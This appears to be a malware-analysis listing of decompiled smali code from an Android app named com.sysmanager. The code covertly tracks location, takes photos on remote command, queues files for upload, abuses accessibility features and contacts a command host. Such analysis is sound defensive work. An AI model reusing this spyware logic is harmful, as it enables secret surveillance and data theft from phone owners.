52invoke-virtual {p0}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
53move-result-object v1
55invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
56move-result-object v2
58invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
59try_end_4d: goto/16 :goto_27
APIs
  • com.sysmanager.system.AndroidSystemQueues.stopLocationUpdates
  • android.os.PowerManager$WakeLock.isHeld
  • android.os.PowerManager$WakeLock.release
  • com.sysmanager.system.AndroidSystemQueues.getApplicationContext
  • com.sysmanager.system.AndroidSystemQueues.enableGps
  • android.app.Service.onDestroy
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->stopLocationUpdates()V
4iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mWakelock:Landroid/os/PowerManager$WakeLock;
6invoke-virtual {v0}, Landroid/os/PowerManager$WakeLock;->isHeld()Z
7move-result v0
8if-eqz v0, :cond_10
10iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mWakelock:Landroid/os/PowerManager$WakeLock;
12invoke-virtual {v0}, Landroid/os/PowerManager$WakeLock;->release()V
13cond_10: iget-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mMoveDetection:Z
14if-eqz v0, :cond_1f
16invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->getApplicationContext()Landroid/content/Context;
17move-result-object v0
19invoke-static {v0}, Lcom/sysmanager/system/MovementDetector;->getInstance(Landroid/content/Context;)Lcom/sysmanager/system/MovementDetector;
20move-result-object v0
22invoke-virtual {v0}, Lcom/sysmanager/system/MovementDetector;->stop()V
23cond_1f: iget-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mPlayServicesCurrent:Z
24if-eqz v0, :cond_30
26iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
28invoke-virtual {v0}, Lcom/google/android/gms/common/api/GoogleApiClient;->isConnected()Z
29move-result v0
30if-eqz v0, :cond_30
32iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
34invoke-virtual {v0}, Lcom/google/android/gms/common/api/GoogleApiClient;->disconnect()V
35cond_30: const/4 v0, 0x0
37invoke-direct {p0, v0}, Lcom/sysmanager/system/AndroidSystemQueues;->enableGps(Z)V
39invoke-super {p0}, Landroid/app/Service;->onDestroy()V
40return-void
APIs
  • android.location.Location.distanceTo
  • android.location.Location.getAccuracy
  • com.sysmanager.system.AndroidSystemQueues.fetchAddress
  • com.sysmanager.system.AndroidSystemQueues.stopLocationUpdates
Position Instruction Meta Information
0.param p1, "location" # Landroid/location/Location;
1.prologue
3iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mLastLocation:Landroid/location/Location;
4if-eqz v0, :cond_26
6iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mLastLocation:Landroid/location/Location;
8invoke-virtual {p1, v0}, Landroid/location/Location;->distanceTo(Landroid/location/Location;)F
9move-result v0
11iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mLastLocation:Landroid/location/Location;
13invoke-virtual {v1}, Landroid/location/Location;->getAccuracy()F
14move-result v1
15cmpl-float v0, v0, v1
16if-gtz v0, :cond_26
18invoke-virtual {p1}, Landroid/location/Location;->getAccuracy()F
19move-result v0
21iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mLastLocation:Landroid/location/Location;
23invoke-virtual {v1}, Landroid/location/Location;->getAccuracy()F
24move-result v1
25cmpg-float v0, v0, v1
26if-ltz v0, :cond_26
27iget-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mIsForce:Z
28if-eqz v0, :cond_2e
29cond_26: iput-object p1, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mLastLocation:Landroid/location/Location;
31invoke-direct {p0, p1}, Lcom/sysmanager/system/AndroidSystemQueues;->fetchAddress(Landroid/location/Location;)V
32const/4 v0, 0x0
33iput-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mIsForce:Z
34cond_2e: iget-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mMoveBlock:Z
35if-eqz v0, :cond_35
37invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->stopLocationUpdates()V
38cond_35: return-void
APIs
  • android.os.Bundle.getSerializable
  • com.sysmanager.system.AndroidSystemQueues.access$500
Strings
  • RESULT_DATA_KEY
  • gps
  • net
Position Instruction Meta Information
0.param p1, "resultCode" # I
1.param p2, "resultData" # Landroid/os/Bundle;
2.prologue
4const-string v1, "RESULT_DATA_KEY"
6invoke-virtual {p2, v1}, Landroid/os/Bundle;->getSerializable(Ljava/lang/String;)Ljava/io/Serializable;
7move-result-object v0
8check-cast v0, Lcom/sysmanager/storage/PositionVar;
10iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemQueues$AddressResultReceiver;->this$0:Lcom/sysmanager/system/AndroidSystemQueues;
12invoke-static {v1}, Lcom/sysmanager/system/AndroidSystemQueues;->access$500(Lcom/sysmanager/system/AndroidSystemQueues;)I
13move-result v1
14const/16 v2, 0x64
15if-ne v1, v2, :cond_22
17const-string v1, "gps"
18goto_14:
19invoke-virtual {v0, v1}, Lcom/sysmanager/storage/PositionVar;->setPos(Ljava/lang/String;)V
20new-instance v1, Lcom/sysmanager/system/SendLocCell;
22iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemQueues$AddressResultReceiver;->this$0:Lcom/sysmanager/system/AndroidSystemQueues;
24invoke-direct {v1, v2}, Lcom/sysmanager/system/SendLocCell;-><init>(Landroid/content/Context;)V
26invoke-virtual {v1, v0}, Lcom/sysmanager/system/SendLocCell;->sendLocation(Lcom/sysmanager/storage/PositionVar;)V
27return-void
28cond_22:
29const-string v1, "net"
30goto/16 :goto_14
Cross References
APIs
  • com.sysmanager.storage.FileSend.getWritableDatabase
  • android.database.sqlite.SQLiteDatabase.delete
  • com.sysmanager.Scontext.getContext
Strings
  • tab1
  • 1=1
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/sysmanager/storage/FileSend;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
3move-result-object v0
4const/4 v1, 0x0
5try_start_5:
6const-string v3, "tab1"
8const-string v4, "1=1"
9const/4 v5, 0x0
11invoke-virtual {v0, v3, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->delete(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)I
12try_end_d: move-result v3
13if-lez v3, :cond_12
14const/4 v1, 0x1
15goto_11: return v1
16cond_12: const/4 v1, 0x0
17goto/16 :goto_11
18catch_14: move-exception v2
20invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
21move-result-object v3
23invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
24move-result-object v4
26invoke-static {v3, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
27goto/16 :goto_11
APIs
  • android.content.Intent.getExtras
  • android.os.Bundle.get
  • com.sysmanager.system.AndroidCamera.takePic
  • com.sysmanager.system.AndroidCamera.getApplicationContext
Strings
  • comando
Position Instruction Meta Information
0.param p1, "intent" # Landroid/content/Intent;
1.param p2, "flags" # I
2.param p3, "startId" # I
3.prologue
4try_start_0:
5invoke-virtual {p1}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
6move-result-object v2
8const-string v3, "comando"
10invoke-virtual {v2, v3}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
11move-result-object v0
12check-cast v0, Ljava/lang/String;
14invoke-direct {p0, v0}, Lcom/sysmanager/system/AndroidCamera;->takePic(Ljava/lang/String;)V
15goto_f: const/4 v3, 0x1
16return v3
17catch_11: move-exception v1
19invoke-virtual {p0}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
20move-result-object v3
22invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
23move-result-object v4
25invoke-static {v3, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
26goto/16 :goto_f
APIs
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • com.sysmanager.AccessibilityDialog.startActivityForResult
Strings
  • android.settings.ACCESSIBILITY_SETTINGS
Position Instruction Meta Information
0.param p1, "dialogInterface" # Landroid/content/DialogInterface;
1.prologue
2new-instance v0, Landroid/content/Intent;
4const-string v1, "android.settings.ACCESSIBILITY_SETTINGS"
6invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
7const/high16 v1, 0x10000000
9invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
10const/high16 v1, 0x40000000 # 2.0f
12invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
14iget-object v1, p0, Lcom/sysmanager/AccessibilityDialog$2;->this$0:Lcom/sysmanager/AccessibilityDialog;
15const/4 v2, 0x0
17invoke-virtual {v1, v0, v2}, Lcom/sysmanager/AccessibilityDialog;->startActivityForResult(Landroid/content/Intent;I)V
18return-void
Cross References
APIs
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.insertDocuments
  • com.sysmanager.MessageManagement.isMyServiceRunning
  • android.content.Intent.<init>
  • android.content.Context.startService
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "paths" # [Ljava/lang/String;
2.prologue
3try_start_0: array-length v3, p1
4const/4 v2, 0x0
5goto_2: if-ge v2, v3, :cond_10
6aget-object v1, p1, v2
8invoke-static {p0}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
9move-result-object v4
11invoke-virtual {v4, v1}, Lcom/sysmanager/storage/FileSend;->insertDocuments(Ljava/lang/String;)J
12add-int/lit8 v2, v2, 0x1
13goto/16 :goto_2
14cond_10: const-class v2, Lcom/sysmanager/system/AndroidFileManager;
16invoke-static {v2, p0}, Lcom/sysmanager/MessageManagement;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
17move-result v2
18if-nez v2, :cond_22
19new-instance v2, Landroid/content/Intent;
20const-class v3, Lcom/sysmanager/system/AndroidFileManager;
22invoke-direct {v2, p0, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
24invoke-virtual {p0, v2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
25goto_22: return-void
26catch_23: move-exception v0
28invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
29move-result-object v2
31invoke-static {p0, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
32goto/16 :goto_22
Cross References
APIs
  • android.content.Intent.<init>
  • android.content.ComponentName.<init>
  • android.content.Intent.setComponent
  • android.content.Intent.addFlags
  • android.content.Context.startActivity
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "pkg" # Ljava/lang/String;
2.param p2, "component" # Ljava/lang/String;
3.prologue
4try_start_0: new-instance v1, Landroid/content/Intent;
6invoke-direct {v1}, Landroid/content/Intent;-><init>()V
7new-instance v2, Landroid/content/ComponentName;
9invoke-direct {v2, p1, p2}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
11invoke-virtual {v1, v2}, Landroid/content/Intent;->setComponent(Landroid/content/ComponentName;)Landroid/content/Intent;
12const/high16 v2, 0x10000000
14invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
16invoke-virtual {p0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
17try_end_15: return-void
18catch_16: move-exception v0
20invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
21move-result-object v2
23invoke-static {p0, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
24goto/16 :goto_15
Cross References
APIs
  • java.io.File.lastModified
  • java.lang.Long.valueOf
  • java.io.File.lastModified
  • java.lang.Long.valueOf
  • java.lang.Long.compareTo
Position Instruction Meta Information
0.param p1, "f1" # Ljava/io/File;
1.param p2, "f2" # Ljava/io/File;
2.prologue
4invoke-virtual {p1}, Ljava/io/File;->lastModified()J
5move-result-wide v0
7invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
8move-result-object v0
10invoke-virtual {p2}, Ljava/io/File;->lastModified()J
11move-result-wide v2
13invoke-static {v2, v3}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
14move-result-object v1
16invoke-virtual {v0, v1}, Ljava/lang/Long;->compareTo(Ljava/lang/Long;)I
17move-result v0
18return v0
Strings
  • TKIP
  • AES
  • WEP
  • NONE
  • \"
Position Instruction Meta Information
0.prologue
2const-string v0, "TKIP"
3sput-object v0, Lcom/sysmanager/costanti/Costanti;->NETWROK_ADDITIONAL_SECURITY_TKIP:Ljava/lang/String;
5const-string v0, "AES"
6sput-object v0, Lcom/sysmanager/costanti/Costanti;->NETWROK_ADDITIONAL_SECURITY_AES:Ljava/lang/String;
8const-string v0, "WEP"
9sput-object v0, Lcom/sysmanager/costanti/Costanti;->NETWROK_ADDITIONAL_SECURITY_WEP:Ljava/lang/String;
11const-string v0, "NONE"
12sput-object v0, Lcom/sysmanager/costanti/Costanti;->NETWROK_ADDITIONAL_SECURITY_NONE:Ljava/lang/String;
14const-string v0, "\""
15sput-object v0, Lcom/sysmanager/costanti/Costanti;->BACKSLASH:Ljava/lang/String;
16return-void
APIs
  • java.lang.String.isEmpty
  • java.lang.String.equals
  • com.sysmanager.MessageManagement.statusEnabled
Strings
  • http://url.plus/app/pro/
Position Instruction Meta Information
0.prologue
2iget-object v3, p0, Lcom/sysmanager/network/HTTPUtility$1;->val$ctx:Landroid/content/Context;
4invoke-static {v3}, Lcom/sysmanager/network/NetworkUtil;->getConnectivityStatus(Landroid/content/Context;)I
5move-result v0
6if-nez v0, :cond_9
7goto_8: return-void
8cond_9:
9iget-object v3, p0, Lcom/sysmanager/network/HTTPUtility$1;->val$ctx:Landroid/content/Context;
11invoke-static {v3}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
12move-result-object v2
14invoke-virtual {v2}, Ljava/lang/String;->isEmpty()Z
15move-result v3
16if-nez v3, :cond_8
17try_start_15:
18const-string v3, "http://url.plus/app/pro/"
20invoke-virtual {v3, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
21move-result v3
22if-nez v3, :cond_8
24iget-object v3, p0, Lcom/sysmanager/network/HTTPUtility$1;->val$ctx:Landroid/content/Context;
26iget-object v4, p0, Lcom/sysmanager/network/HTTPUtility$1;->val$comando:Ljava/lang/String;
28invoke-static {v3, v4}, Lcom/sysmanager/MessageManagement;->statusEnabled(Landroid/content/Context;Ljava/lang/String;)V
29try_end_24: goto/16 :goto_8
30catch_25: move-exception v1
32iget-object v3, p0, Lcom/sysmanager/network/HTTPUtility$1;->val$ctx:Landroid/content/Context;
34invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
35move-result-object v4
37invoke-static {v3, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
38goto/16 :goto_8
APIs
  • android.database.sqlite.SQLiteOpenHelper.onConfigure
  • android.database.sqlite.SQLiteDatabase.rawQuery
  • com.sysmanager.Scontext.getContext
Strings
  • PRAGMA journal_mode=WAL
Position Instruction Meta Information
0.param p1, "db" # Landroid/database/sqlite/SQLiteDatabase;
1.prologue
3invoke-super {p0, p1}, Landroid/database/sqlite/SQLiteOpenHelper;->onConfigure(Landroid/database/sqlite/SQLiteDatabase;)V
4try_start_3:
5const-string v1, "PRAGMA journal_mode=WAL"
6const/4 v2, 0x0
8invoke-virtual {p1, v1, v2}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
9try_end_9: return-void
10catch_a: move-exception v0
12invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
13move-result-object v1
15invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
16move-result-object v2
18invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
19goto/16 :goto_9
APIs
  • android.content.Intent.hasExtra
  • android.content.Intent.getStringExtra
  • com.sysmanager.system.AndroidAccessibility.InviaFileMessages
Strings
  • comando
Position Instruction Meta Information
0.param p1, "intent" # Landroid/content/Intent;
1.param p2, "flags" # I
2.param p3, "startId" # I
3.prologue
4if-eqz p1, :cond_13
6const-string v0, "comando"
8invoke-virtual {p1, v0}, Landroid/content/Intent;->hasExtra(Ljava/lang/String;)Z
9move-result v0
10if-eqz v0, :cond_13
12const-string v0, "comando"
14invoke-virtual {p1, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
15move-result-object v0
17invoke-direct {p0, v0}, Lcom/sysmanager/system/AndroidAccessibility;->InviaFileMessages(Ljava/lang/String;)V
18cond_13: const/4 v0, 0x2
19return v0
Cross References
APIs
  • android.telephony.TelephonyManager.getNetworkType
Strings
  • 2g
  • 3g
  • 4g
Position Instruction Meta Information
0.param p0, "tm" # Landroid/telephony/TelephonyManager;
1.prologue
3invoke-virtual {p0}, Landroid/telephony/TelephonyManager;->getNetworkType()I
4move-result v0
5packed-switch v0, :pswitch_data_14
7const-string v1, ""
8goto_9: return-object v1
9pswitch_a:
10const-string v1, "2g"
11goto/16 :goto_9
12pswitch_d:
13const-string v1, "3g"
14goto/16 :goto_9
15pswitch_10:
16const-string v1, "4g"
17goto/16 :goto_9
18nop
APIs
  • android.content.Intent.getAction
  • java.lang.String.equals
  • com.sysmanager.AccessibilityDialog.finish
Strings
  • finish_activity
Position Instruction Meta Information
0.param p1, "arg0" # Landroid/content/Context;
1.param p2, "intent" # Landroid/content/Intent;
2.prologue
4invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
5move-result-object v0
7const-string v1, "finish_activity"
9invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
10move-result v1
11if-eqz v1, :cond_11
13iget-object v1, p0, Lcom/sysmanager/AccessibilityDialog$3;->this$0:Lcom/sysmanager/AccessibilityDialog;
15invoke-virtual {v1}, Lcom/sysmanager/AccessibilityDialog;->finish()V
16cond_11: return-void
Cross References
APIs
  • java.text.SimpleDateFormat.<init>
  • java.util.Date.<init>
  • java.text.SimpleDateFormat.format
Strings
  • ddMMyyyyHHmmss
Position Instruction Meta Information
0.prologue
1new-instance v0, Ljava/text/SimpleDateFormat;
3const-string v2, "ddMMyyyyHHmmss"
5sget-object v3, Ljava/util/Locale;->ITALIAN:Ljava/util/Locale;
7invoke-direct {v0, v2, v3}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;Ljava/util/Locale;)V
8new-instance v1, Ljava/util/Date;
10invoke-direct {v1}, Ljava/util/Date;-><init>()V
12invoke-virtual {v0, v1}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
13move-result-object v2
14return-object v2
APIs
  • android.app.Activity.<init>
  • android.content.IntentFilter.<init>
  • com.sysmanager.AccessibilityDialog$3.<init>
Strings
  • finish_activity
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Activity;-><init>()V
3new-instance v0, Landroid/content/IntentFilter;
5const-string v1, "finish_activity"
7invoke-direct {v0, v1}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
8iput-object v0, p0, Lcom/sysmanager/AccessibilityDialog;->mFilter:Landroid/content/IntentFilter;
9new-instance v0, Lcom/sysmanager/AccessibilityDialog$3;
11invoke-direct {v0, p0}, Lcom/sysmanager/AccessibilityDialog$3;-><init>(Lcom/sysmanager/AccessibilityDialog;)V
12iput-object v0, p0, Lcom/sysmanager/AccessibilityDialog;->mReceiver:Landroid/content/BroadcastReceiver;
13return-void
APIs
  • com.google.android.gms.common.zzf$zza.zzdc
Strings
  • 0\u0082\u0004\u00a80\u0082\u0003\u0090\u00a0\u0003\u0002\u0001\u0002\u0002\t\u0000\u00d5\u0085\u00b8l}\u00d3N\u00f50\r\u0006\t*\u0086H\u0086\u00f7\r\u0001\u0001\u0004\u0005\u00000\u0081\u00941\u000b0\t\u0006\u0003U\u0004\u0006\u0013\u0002US1\u00130\u0011\u0006\u0003U\u0004\u0008\u0013\nCalifornia1\u00160\u0014\u0006\u0003U\u0004\u0007\u0013\rMountain View1\u00100\u000e\u0006\u0003U\u0004\n\u0013\u0007Android1\u00100\u000e\u0006\u0003U\u0004\u000b\u0013\u0007Android1\u00100\u000e\u0006\u0003U\u0004\u0003\u0013\u0007Android1\"0 \u0006\t*\u0086H\u0086\u00f7\r\u0001\t\u0001\u0016\u0013android@android.com0\u001e\u0017\r080415233656Z\u0017\r350901233656Z0\u0081\u00941\u000b0\t\u0006\u0003U\u0004\u0006\u0013\u0002US1\u00130\u0011\u0006\u0003U\u0004\u0008\u0013\nCalifornia1\u00160\u0014\u0006\u0003U\u0004\u0007\u0013\rMountain View1\u00100\u000e\u0006\u0003U\u0004\n\u0013\u0007Android1\u00100\u000e\u0006\u0003U\u0004\u000b\u0013\u0007Android1\u00100\u000e\u0006\u0003U\u0004\u0003\u0013\u0007Android1\"0 \u0006\t*\u0086H\u0086\u00f7\r\u0001\t\u0001\u0016\u0013android@android.com0\u0082\u0001 0\r\u0006\t*\u0086H\u0086\u00f7\r\u0001\u0001\u0001\u0005\u0000\u0003\u0082\u0001\r\u00000\u0082\u0001\u0008\u0002\u0082\u0001\u0001\u0000\u00d6\u00ce.\u0008\n\u00bf\u00e21M\u00d1\u008d\u00b3\u00cf\u00d3\u0018\\\u00b4=3\u00fa\u000ct\u00e1\u00bd\u00b6\u00d1\u00db\u0089\u0013\u00f6,\\9\u00dfV\u00f8F\u0081=e\u00be\u00c0\u00f3\u00caBk\u0007\u00c5\u00a8\u00edZ9\u0090\u00c1g\u00e7k\u00c9\u0099\u00b9\'\u0089K\u008f\u000b\"\u0000\u0019\u0094\u00a9)\u0015\u00e5r\u00c5m*0\u001b\u00a3o\u00c5\u00fc\u0011:\u00d6\u00cb\u009et5\u00a1m#\u00ab}\u00fa\u00ee\u00e1e\u00e4\u00df\u001f\n\u008d\u00bd\u00a7\n\u0086\u009dQlN\u009d\u0005\u0011\u0096\u00ca|\u000cU\u007f\u0017[\u00c3u\u00f9H\u00c5j\u00ae\u0086\u0008\u009b\u00a4O\u008a\u00a6\u00a4\u00dd\u009a}\u00bf,\n5\"\u0082\u00ad\u0006\u00b8\u00cc\u0018^\u00b1Uy\u00ee\u00f8m\u0008\u000b\u001da\u0089\u00c0\u00f9\u00af\u0098\u00b1\u00c2\u00eb\u00d1\u0007\u00eaE\u00ab\u00dbh\u00a3\u00c7\u0083\u008a^T\u0088\u00c7lS\u00d4\u000b\u0012\u001d\u00e7\u00bb\u00d3\u000eb\u000c\u0018\u008a\u00e1\u00aaa\u00db\u00bc\u0087\u00dd<d_/U\u00f3\u00d4\u00c3u\u00ec@p\u00a9?qQ\u00d86p\u00c1j\u0097\u001a\u00be^\u00f2\u00d1\u0018\u0090\u00e1\u00b8\u00ae\u00f3)\u008c\u00f0f\u00bf\u009el\u00e1D\u00ac\u009a\u00e8m\u001c\u001b\u000f\u0002\u0001\u0003\u00a3\u0081\u00fc0\u0081\u00f90\u001d\u0006\u0003U\u001d\u000e\u0004\u0016\u0004\u0014\u008d\u001c\u00c5\u00be\u0095LC<a\u0086:\u0015\u00b0L\u00bc\u0003\u00f2O\u00e0\u00b20\u0081\u00c9\u0006\u0003U\u001d#\u0004\u0081\u00c10\u0081\u00be\u0080\u0014\u008d\u001c\u00c5\u00be\u0095LC<a\u0086:\u0015\u00b0L\u00bc\u0003\u00f2O\u00e0\u00b2\u00a1\u0081\u009a\u00a4\u0081\u00970\u0081\u00941\u000b0\t\u0006\u0003U\u0004\u0006\u0013\u0002US1\u00130\u0011\u0006\u0003U\u0004\u0008\u0013\nCalifornia1\u00160\u0014\u0006\u0003U\u0004\u0007\u0013\rMountain View1\u00100\u000e\u0006\u0003U\u0004\n\u0013\u0007Android1\u00100\u000e\u0006\u0003U\u0004\u000b\u0013\u0007Android1\u00100\u000e\u0006\u0003U\u0004\u0003\u0013\u0007Android1\"0 \u0006\t*\u0086H\u0086\u00f7\r\u0001\t\u0001\u0016\u0013android@android.com\u0082\t\u0000\u00d5\u0085\u00b8l}\u00d3N\u00f50\u000c\u0006\u0003U\u001d\u0013\u0004\u00050\u0003\u0001\u0001\u00ff0\r\u0006\t*\u0086H\u0086\u00f7\r\u0001\u0001\u0004\u0005\u0000\u0003\u0082\u0001\u0001\u0000\u0019\u00d3\u000c\u00f1\u0005\u00fbx\u0092?L\r}\u00d2##=@\u0096z\u00cf\u00ce\u0000\u0008\u001d[\u00d7\u00c6\u00e9\u00d6\u00ed k\u000e\u0011 \u0095\u0006Al\u00a2D\u0093\u0099\u0013\u00d2kJ\u00a0\u00e0\u00f5$\u00ca\u00d2\u00bb\\nL\u00a1\u0001j\u0015\u0091n\u00a1\u00ec]\u00c9Z^:\u0001\u00006\u00f4\u0092H\u00d5\u0010\u009b\u00bf.\u001ea\u0081\u0086g:;\u00e5m\u00af\u000bw\u00b1\u00c2)\u00e3\u00c2U\u00e3\u00e8L\u0090]#\u0087\u00ef\u00ba\t\u00cb\u00f1; +NZ\"\u00c92cHJ#\u00d2\u00fc)\u00fa\u009f\u00199u\u00973\u00af\u00d8\u00aa\u0016\u000fB\u0096\u00c2\u00d0\u0016>\u0081\u0082\u0085\u009cfC\u00e9\u00c1\u0096/\u00a0\u00c1\u008333[\u00c0\u0090\u00ff\u009ak\"\u00de\u00d1\u00adDB)\u00a59\u00a9N\u00ef\u00ad\u00ab\u00d0e\u00ce\u00d2K>Q\u00e5\u00dd{fx{\u00ef\u0012\u00fe\u0097\u00fb\u00a4\u0084\u00c4#\u00fbO\u00f8\u00ccIL\u0002\u00f0\u00f5\u0005\u0016\u0012\u00ffe)9>\u008eF\u00ea\u00c5\u00bb!\u00f2w\u00c1Q\u00aa_*\u00a6\'\u00d1\u00e8\u009d\u00a7\n\u00b6\u00035i\u00de;\u0098\u0097\u00bf\u00ff|\u00a9\u00da>\u0012C\u00f6\u000b
Position Instruction Meta Information
1const-string v0, "0\u0082\u0004\u00a80\u0082\u0003\u0090\u00a0\u0003\u0002\u0001\u0002\u0002\t\u0000\u00d5\u0085\u00b8l}\u00d3N\u00f50\r\u0006\t*\u0086H\u0086\u00f7\r\u0001\u0001\u0004\u0005\u00000\u0081\u00941\u000b0\t\u0006\u0003U\u0004\u0006\u0013\u0002US1\u00130\u0011\u0006\u0003U\u0004\u0008\u0013\nCalifornia1\u00160\u0014\u0006\u0003U\u0004\u0007\u0013\rMountain View1\u00100\u000e\u0006\u0003U\u0004\n\u0013\u0007Android1\u00100\u000e\u0006\u0003U\u0004\u000b\u0013\u0007Android1\u00100\u000e\u0006\u0003U\u0004\u0003\u0013\u0007Android1\"0 \u0006\t*\u0086H\u0086\u00f7\r\u0001\t\u0001\u0016\u0013android@android.com0\u001e\u0017\r080415233656Z\u0017\r350901233656Z0\u0081\u00941\u000b0\t\u0006\u0003U\u0004\u0006\u0013\u0002US1\u00130\u0011\u0006\u0003U\u0004\u0008\u0013\nCalifornia1\u00160\u0014\u0006\u0003U\u0004\u0007\u0013\rMountain View1\u00100\u000e\u0006\u0003U\u0004\n\u0013\u0007Android1\u00100\u000e\u0006\u0003U\u0004\u000b\u0013\u0007Android1\u00100\u000e\u0006\u0003U\u0004\u0003\u0013\u0007Android1\"0 \u0006\t*\u0086H\u0086\u00f7\r\u0001\t\u0001\u0016\u0013android@android.com0\u0082\u0001 